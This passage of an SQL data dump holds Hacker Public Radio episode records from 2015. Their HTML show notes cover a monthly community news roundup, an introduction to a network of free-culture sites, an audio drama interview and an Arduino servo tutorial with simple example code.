3</a>:\nMike Ray on 2015-06-20:\n\"Atonal music vs. Unrepresentative visual art\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1794#4\" target=\"_blank\">Comment 4</a>:\nKen Fallon on 2015-06-24:\n\"RSS feed\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1794#5\" target=\"_blank\">Comment 5</a>:\nJon Kulp on 2015-06-24:\n\"Enjoy pain?\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1800#comments\" target=\"_blank\">hpr1800</a></strong>\n(2015-06-26) \"<em>YouTube Video Subscriptions</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1800#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2015-06-29:\n\"Links\"</li></ul>\n</li>\n</ul>\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(1826,'2015-08-03','HPR Community News for July 2015',4974,'HPR Community News for July 2015','\n<h2>New hosts</h2>\n<p>\nThere were no new hosts this month.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n    <tr>\n    <th align=\"left\">Id</th>\n    <th align=\"left\">Day</th>\n    <th align=\"left\">Date</th>\n    <th align=\"left\">Title</th>\n    <th align=\"left\">Host</th>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1803\" target=\"_blank\">1803</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2015-07-01</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1803\" target=\"_blank\">What&#39;s In My Bag?</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=255\" target=\"_blank\">Matt McGraw (g33kdad)</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1804\" target=\"_blank\">1804</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2015-07-02</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1804\" target=\"_blank\">What&#39;s in my Bicycle Repair Tool Box</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1805\" target=\"_blank\">1805</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2015-07-03</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1805\" target=\"_blank\">56 - LibreOffice Impress - Styles and Objects 1 - Presentation Styles</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1806\" target=\"_blank\">1806</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2015-07-06</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1806\" target=\"_blank\">HPR Community News for June 2015</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1807\" target=\"_blank\">1807</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2015-07-07</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1807\" target=\"_blank\">Arch Linux Development Environment: Ep1</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=286\" target=\"_blank\">cjm</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1808\" target=\"_blank\">1808</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2015-07-08</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1808\" target=\"_blank\">David Whitman reads &#39;The Shooting of Dan McGrew&#39; written by Robert W Service</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=209\" target=\"_blank\">David Whitman</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1809\" target=\"_blank\">1809</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2015-07-09</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1809\" target=\"_blank\">My &quot;New&quot; Used Kindle Touch</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1810\" target=\"_blank\">1810</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2015-07-10</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1810\" target=\"_blank\">17 - LastPass Hacked - What Does It Mean?</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1811\" target=\"_blank\">1811</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2015-07-13</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1811\" target=\"_blank\">Life and Times of a Geek part 2</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1812\" target=\"_blank\">1812</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2015-07-14</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1812\" target=\"_blank\">Headphones and a $2 Microphone</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1813\" target=\"_blank\">1813</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2015-07-15</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1813\" target=\"_blank\">Apt Spelunking: surf, lightyears, and fbterm</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=215\" target=\"_blank\">Windigo</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1814\" target=\"_blank\">1814</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2015-07-16</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1814\" target=\"_blank\">Custom Context Menus in GNU/Linux GUI File Managers</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1815\" target=\"_blank\">1815</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2015-07-17</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1815\" target=\"_blank\">57 - LibreOffice Impress - Styles and Objects 2 - Drawing Object Styles</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1816\" target=\"_blank\">1816</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2015-07-20</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1816\" target=\"_blank\">Visualising HPR tags</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1817\" target=\"_blank\">1817</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2015-07-21</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1817\" target=\"_blank\">Gathering Parts</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=235\" target=\"_blank\">NYbill</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1818\" target=\"_blank\">1818</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2015-07-22</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1818\" target=\"_blank\">Review of HPR&#39;s Interview Recorder: Zoom H1</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=131\" target=\"_blank\">FiftyOneFifty</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1819\" target=\"_blank\">1819</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2015-07-23</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1819\" target=\"_blank\">LibreOffice Tips: Horizontal Lists and Headless Operation</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1820\" target=\"_blank\">1820</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2015-07-24</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1820\" target=\"_blank\">Kansas Linux Fest 2015, March 21-22, Lawrence KS, Interview 1 of 2</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=131\" target=\"_blank\">FiftyOneFifty</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1821\" target=\"_blank\">1821</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2015-07-27</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1821\" target=\"_blank\">James Beard&#39;s Never-Fail Blender Hollandaise Sauce</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=195\" target=\"_blank\">Frank Bell</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1822\" target=\"_blank\">1822</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2015-07-28</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1822\" target=\"_blank\">Some tips on using ImageMagick</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1823\" target=\"_blank\">1823</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2015-07-29</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1823\" target=\"_blank\">Kansas Linux Fest 2015, March 21-22, Lawrence KS, Interview 2 of 2</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=131\" target=\"_blank\">FiftyOneFifty</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1824\" target=\"_blank\">1824</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2015-07-30</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1824\" target=\"_blank\">I&#39;m Learning Some Python</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1825\" target=\"_blank\">1825</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2015-07-31</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1825\" target=\"_blank\">58 - LibreOffice Impress - Creating a Template for Hacker Public Radio</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n    </tr>\n</table>\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This discussion takes\nplace on the <a href=\"https://hackerpublicradio.org/maillist\" target=\"_blank\">Mail List</a> which is open to all\nHPR listeners and contributors. The discussions are open and available on the\n<a href=\"https://news.gmane.org/gmane.network.syndication.podcast.hacker-public-radio\" target=\"_blank\">Gmane</a>\narchive.\n</p>\n<p>The main threads this month were:</p>\n<ol>\n    <li><em>From:</em> Frank Bell &lt;frankwbell@...&gt;<br/>\n        <em>Date:</em> 2015-07-04 23:49:27 -0400<br/>\n        <em>Subject:</em> Pictures for uploads<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/898\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/898</a><br/>\n        <em>Messages:</em> 4<br/><br/></li>\n    <li><em>From:</em> Ken Fallon &lt;ken@...&gt;<br/>\n        <em>Date:</em> 2015-07-11 18:21:44 +0200<br/>\n        <em>Subject:</em> Fwd: [FOSDEM] Next FOSDEM: 30 &amp; 31 January 2016<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/902\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/902</a><br/>\n        <em>Messages:</em> 1<br/><br/></li>\n    <li><em>From:</em> Ken Fallon &lt;ken@...&gt;<br/>\n        <em>Date:</em> 2015-07-25 15:33:26 +0200<br/>\n        <em>Subject:</em> The Admin email account<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/903\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/903</a><br/>\n        <em>Messages:</em> 1<br/><br/></li>\n    <li><em>From:</em> Joshua Knapp &lt;jknapp85@...&gt;<br/>\n        <em>Date:</em> 2015-07-27 09:23:43 -0700<br/>\n        <em>Subject:</em> Enabled Outbound Spam filtering on Server<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/904\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/904</a><br/>\n        <em>Messages:</em> 1<br/><br/></li>\n    <li><em>From:</em> Dave Morriss &lt;perloid@...&gt;<br/>\n        <em>Date:</em> 2015-07-30 11:29:54 +0100<br/>\n        <em>Subject:</em> HPR Community News - next Saturday on 2015-08-01T18:00:00Z<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/905\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/905</a><br/>\n        <em>Messages:</em> 1<br/></li>\n</ol>\nTotal messages this month: 8<br/>\n\n\n<h2>Comments this month</h2>\n\n<p>There are 19 comments:</p>\n<ul> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1784#comments\" target=\"_blank\">hpr1784</a></strong>\n(2015-06-04) \"<em>Intro to the Fugue and the Open Well-Tempered Clavier</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a>.\n<ul>            <li><a href=\"https://hackerpublicradio.org/eps.php?id=1784#11\" target=\"_blank\">Comment 11</a>:\nFiftyOneFifty on 2015-07-07:\n\"Thanks\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1794#comments\" target=\"_blank\">hpr1794</a></strong>\n(2015-06-18) \"<em>12-Tone Music and My Random 12 Tone Row of the Day</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a>.\n<ul>       <li><a href=\"https://hackerpublicradio.org/eps.php?id=1794#6\" target=\"_blank\">Comment 6</a>:\nFiftyOneFifty on 2015-07-07:\n\"Forbidden Planet\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1800#comments\" target=\"_blank\">hpr1800</a></strong>\n(2015-06-26) \"<em>YouTube Video Subscriptions</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a>.\n<ul>   <li><a href=\"https://hackerpublicradio.org/eps.php?id=1800#2\" target=\"_blank\">Comment 2</a>:\nKevin O&#39;Brien on 2015-07-04:\n\"Here you go!\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1806#comments\" target=\"_blank\">hpr1806</a></strong>\n(2015-07-06) \"<em>HPR Community News for June 2015</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1806#1\" target=\"_blank\">Comment 1</a>:\nKevin O&#39;Brien on 2015-07-06:\n\"Sorry I missed it\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1808#comments\" target=\"_blank\">hpr1808</a></strong>\n(2015-07-08) \"<em>David Whitman reads &#39;The Shooting of Dan McGrew&#39; written by Robert W Service</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=209\" target=\"_blank\">David Whitman</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1808#1\" target=\"_blank\">Comment 1</a>:\nMike on 2015-07-08:\n\"More, more\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1811#comments\" target=\"_blank\">hpr1811</a></strong>\n(2015-07-13) \"<em>Life and Times of a Geek part 2</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1811#1\" target=\"_blank\">Comment 1</a>:\nCharlie Ebert on 2015-07-12:\n\"hpr 1811 Dave Morriss\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1811#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2015-07-13:\n\"Control Data etc\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1811#3\" target=\"_blank\">Comment 3</a>:\nMike Ray on 2015-07-13:\n\"Punched cards in a box\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1811#4\" target=\"_blank\">Comment 4</a>:\nDave Morriss on 2015-07-13:\n\"Notched cards and COBOL\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1812#comments\" target=\"_blank\">hpr1812</a></strong>\n(2015-07-14) \"<em>Headphones and a $2 Microphone</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1812#1\" target=\"_blank\">Comment 1</a>:\nDave Morriss on 2015-07-15:\n\"Loved the ambient sounds\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1812#2\" target=\"_blank\">Comment 2</a>:\nJon Kulp  on 2015-07-15:\n\"Heavy Breathing \"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1812#3\" target=\"_blank\">Comment 3</a>:\nDave Morriss on 2015-07-15:\n\"Breathing\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1812#4\" target=\"_blank\">Comment 4</a>:\nJohn Corless on 2015-07-17:\n\"Great\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1813#comments\" target=\"_blank\">hpr1813</a></strong>\n(2015-07-15) \"<em>Apt Spelunking: surf, lightyears, and fbterm</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=215\" target=\"_blank\">Windigo</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1813#1\" target=\"_blank\">Comment 1</a>:\n0xf10e on 2015-07-14:\n\"grumpyness\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1813#2\" target=\"_blank\">Comment 2</a>:\nwindigo on 2015-07-15:\n\"Re: Grumpyness\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1817#comments\" target=\"_blank\">hpr1817</a></strong>\n(2015-07-21) \"<em>Gathering Parts</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=235\" target=\"_blank\">NYbill</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1817#1\" target=\"_blank\">Comment 1</a>:\nCPrompt^ on 2015-07-24:\n\"Great show!\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1817#2\" target=\"_blank\">Comment 2</a>:\nKen Fallon on 2015-07-25:\n\"A series on Electronic Components\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1817#3\" target=\"_blank\">Comment 3</a>:\nNYbill on 2015-07-27:\n\"Thanks guys\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1823#comments\" target=\"_blank\">hpr1823</a></strong>\n(2015-07-29) \"<em>Kansas Linux Fest 2015, March 21-22, Lawrence KS, Interview 2 of 2</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=131\" target=\"_blank\">FiftyOneFifty</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1823#1\" target=\"_blank\">Comment 1</a>:\nAnon on 2015-07-31:\"[no title]\"</li></ul>\n</li>\n</ul>\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(1682,'2015-01-13','Introduction to the Netizen Empowerment Federation',620,'Introduction to Netizen Empowerment Federation. It is short, so let me know if you\'d like detail.','<p>\r\nThis is my first HPR release and I\'m going to keep it short. If anyone is intertested in hearing more about any of the projects I mention here, I\'m happy to do another show.\r\n</p>\r\n<p>\r\nFirst, I just want to say that everything on Netizen Empowerment Federation (NEF) is released under a free culture license, though not all of the music selected by our presenters is free culture. Right now we are blog and podcast focused, but we would like to add digital creators of all types.\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://opensourceplayground.org/\">https://opensourceplayground.org/</a>\r\nI\'m doing these sites in the order they were created, though I\'m not sure if OSP or Sportazine was created first. Since OSP is the most closely related to HPR, I\'m going to start with that. OSP started as a shared hosting gift for new developers. The idea was I could make people accounts on Dreamhost and they could test the latest free software. Since it wasn\'t a business, I didn\'t really promote it. It never took off. I had a few people in Wisconsin make accounts, but they barely used them. It\'s not really important why that idea failed, but eventually it just became a place for me to talk tech. lnxw48 aka lnxwalt is our current systems administrator and occasionally writes pieces for the site. Like all of our sites, we are always looking for contributors! \r\n</li>\r\n</ul>\r\n\r\n<ul>\r\n<li><a href=\"https://sportazine.com/\">https://sportazine.com/</a>\r\nAs far as I\'m aware, Sportazine is the only site dedicated to sports and free culture. This means a lot of things. First it means, making sure online sports viewing works in free formats. It also means that there are free software fantasy sports implementations and that sports journalism happens under free culture licenses. Sportazine is a weird beast because we partnered with JMP Enterprise.  \r\n</li>\r\n</ul>\r\n\r\n<ul>\r\n<li><a href=\"https://www.musicmanumit.com/\">https://www.musicmanumit.com/</a>\r\nThis is a collection of shows about remixable music. The main show features me and Tom of the band Lorenzo\'s Music. You can find his band on Jamendo, Spotify, Free Music Archive, and I\'m sure plenty of other places.\r\n</li>\r\n</ul>\r\n\r\n<ul>\r\n<li><a href=\"https://law.musicmanumit.com/\">https://law.musicmanumit.com/</a>\r\nThe Lawcast is on hiatus and when it comes back will likely be less law focused and more just a catchall for more academic and policy-related stuff than we do on the main show. I\'ll probably talk a lot more about free software on the reboot, because it\'s not a topic Tom really cares much about. Tom is a GNU/Linux user, but he refuses to use anything but Skype or Hangout for recording the shows. I\'ll probably have on musicians that we wouldn\'t otherwise have on and thus a topic of conversation on those shows will be \"Why won\'t you use Skype or Hangout?\" I suspect most of the reasons will be free software focused, but they may also be privacy focused (not that they are unrelated).\r\n<p></p>\r\n</li>\r\n<li><a href=\"https://punk.musicmanumit.com\">https://punk.musicmanumit.com</a>\r\nThe punkcast is pretty much what it sounds like it is. Eventually I want to bring it back. Right now though, I need to focus on finding funding, because if I don\'t, my wife is going to kick me out. I hope this is resolved by the time you hear this. I\'m recording on December 19.\r\n</li>\r\n</ul>\r\n\r\n<ul>\r\n<li><a href=\"https://cyberunions.org/\">https://cyberunions.org/</a>\r\nI think Cyberunions.org may have started before any of these, but I put it here due to the start of the Cyberunions podcast, which is currently on hiatus. Stephen now works for the FSF, so you know free software is important to him. I\'m not going to say much about the show, because aside from being a one-time guest, I\'m not involved in the project. If people want to know more about Cyberunions, I suggest you pester Stephen (aka mv) about doing a show.\r\n</li>\r\n</ul>\r\n\r\n<ul>\r\n<li><a href=\"https://rynothebearded.com/\">https://rynothebearded.com/</a>\r\nRTB really refers to two music shows, one called OO (pronounced \"oh-oh\") and one called Unformatted. The site also has a stream that carriers a variety of shows, including Cerebral Mix, Rage and Frustration, and the last NEF show I am going to discuss.\r\n</li>\r\n</ul>\r\n\r\n<ul>\r\n<li><a href=\"https://www.amateurzen.us/\">https://www.amateurzen.us/</a>\r\nUnlike Ryno, you can find the DJ for this show on GNU Social. Alex is <a href=\"https://loadaverage.org/lrockhq\">https://loadaverage.org/lrockhq</a> . Another CC Music show.\r\n</li>\r\n</ul>\r\n',294,0,0,'CC-BY-SA','music, free software, open source, sports, law, copyright, patents, punk, unions, workers, nef',0,0,1),
(1683,'2015-01-14','Theater of the Imagination: Part 06',2757,'lostnbronx interviews Julie Hoverson, a modern audio drama enthusiast','<p>\r\nIn this installment, lostnbronx interviews Julie Hoverson, a modern audio drama enthusiast of great experience and insight.\r\n</p>\r\n<p>\r\nCheck out Julie\'s wonderful audio content at:\r\n</p>\r\n<p>\r\n<a href=\"https://www.19nocturneboulevard.net/Episodes.htm\">https://www.19nocturneboulevard.net/Episodes.htm</a>\r\n</p>\r\n<p>\r\nand (primarily)\r\n</p>\r\n<p>\r\n<a href=\"https://www.nineteennocturne.libsyn.com/\">https://www.nineteennocturne.libsyn.com/</a>\r\n</p>',107,52,1,'CC-BY-SA','audio,drama,audio drama',0,0,1),
(1691,'2015-01-26','Arduino 101 Arduino IO',2583,'In this episode, learn how to read and write input and output from the Arduino.','<p>In this two-part series, Klaatu introduces you to the Arduino. First, learn about the breadboard and how to make electricity course through it in order to power your very own simple circuit.</p>\n <p>To follow along with what Klaatu is talking about, refer to these two graphics:</p>\n <ul>\n  <li><a href=\"https://openclipart.org/detail/104167/breadboard-by-mesamike\" target=\"_blank\">https://openclipart.org/detail/104167/breadboard-by-mesamike</a></li>\n  <li><a href=\"https://openclipart.org/detail/181334/microcontroller--by-b.gaultier-181334\" target=\"_blank\">https://openclipart.org/detail/181334/microcontroller--by-b.gaultier-181334</a></li>\n </ul>\n <p>And here are diagrams of the simple circuits that Klaatu constructs.</p><img alt=\"image: a diagramme of the simple circuit in todays show\" src=\"https://hackerpublicradio.org/eps/hpr1691_0.png\" /><p>The simple code to reset the servo:</p><pre>\n#include &lt;Servo.h&gt;\nServo myservo;\n\nint servoPosition;\n\nvoid setup()\n{\n  myservo.attach(13);\n  myservo.write(90);\n}\n\nvoid loop() {}\n</pre><p>And the code that responds to input:</p><pre>\n#include &lt;Servo.h&gt;\nServo myservo; \n\nint servoPosition;\nint servoMax = 180;\nint servoMin = 0;\n\nint value;\nint valMax = 600;\nint valMin = 50;\n\n\nvoid setup()\n{\n  myservo.attach(13);\n}\n\nvoid loop() \n{\n  value = analogRead(0);\n  servoPosition = map(value, valMin, valMax, servoMax, servoMin);\n  servoPosition = constrain(servoPosition, servoMin, servoMax);\n  myservo.write(servoPosition);\n}\n</pre><p>And here is a bonus diagramme that you can try to create, using a light sensor, servo, and resistor.</p><img alt=\"image: homework\" src=\"https://hackerpublicradio.org/eps/hpr1691_1.png\" />\n',78,91,0,'CC-BY-SA','Arduino,Arduino 101',0,0,1),
